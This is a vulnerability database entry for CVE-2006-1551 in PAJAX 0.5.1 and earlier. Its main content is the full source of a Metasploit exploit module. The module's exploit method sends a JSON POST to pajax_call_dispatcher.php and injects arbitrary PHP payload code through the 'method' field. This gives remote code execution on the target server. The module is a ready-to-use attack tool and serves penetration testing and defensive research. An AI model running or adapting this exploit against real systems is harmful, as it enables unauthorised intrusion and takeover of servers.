PAJAX Remote Command Execution

2007-01-05T05:38:28
ID MSF:EXPLOIT/UNIX/WEBAPP/PAJAX_REMOTE_EXEC
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

RedTeam has identified two security flaws in PAJAX (<= 0.5.1). It is possible to execute arbitrary PHP code from unchecked user input. Additionally, it is possible to include arbitrary files on the server ending in ".class.php".

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'PAJAX Remote Command Execution',
      'Description'    =&gt; %q{
          RedTeam has identified two security flaws in PAJAX (&lt;= 0.5.1).
        It is possible to execute arbitrary PHP code from unchecked user input.
        Additionally, it is possible to include arbitrary files on the server
        ending in ".class.php".
      },
      'Author'         =&gt; [ 'Matteo Cantoni &lt;goony[at]nothink.org&gt;', 'hdm' ],
      'License'        =&gt; MSF_LICENSE,
      'References'     =&gt;
        [
          ['CVE', '2006-1551'],
          ['OSVDB', '24618'],
          ['BID', '17519'],
          ['URL', 'http://www.redteam-pentesting.de/advisories/rt-sa-2006-001.php'],
        ],
      'Privileged'     =&gt; false,
      'Payload'        =&gt;
        {
          'DisableNops' =&gt; true,
          'Compat'      =&gt;
            {
              'ConnectionType' =&gt; 'find',
            },
          'Space'       =&gt; 4000,
        },
      'Platform'       =&gt; 'php',
      'Arch'           =&gt; ARCH_PHP,
      'Targets'        =&gt; [[ 'Automatic', { }]],
      'DisclosureDate' =&gt; 'Mar 30 2006',
      'DefaultTarget' =&gt; 0))

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to pajax_call_dispatcher.php", "/pajax/pajax/pajax_call_dispatcher.php"]),
        OptString.new('MOD', [true, "The PAJAX module name", "Calculator"])
      ])
  end


  def exploit

    args = %Q!{ "id": "bb2238f1186dad8d6370d2bab5f290f71", "className": "#{datastore['MOD']}", "method": "add(1,1);#{payload.encoded};$obj-&gt;add", "params": ["1", "5"] }!

    res = send_request_cgi({
      'uri'      =&gt; normalize_uri(datastore['URI']),
      'method'   =&gt; 'POST',
      'data'     =&gt; args,
      'ctype'    =&gt; 'text/x-json'
    }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    else
      print_status("No response from the server")
    end
  end
end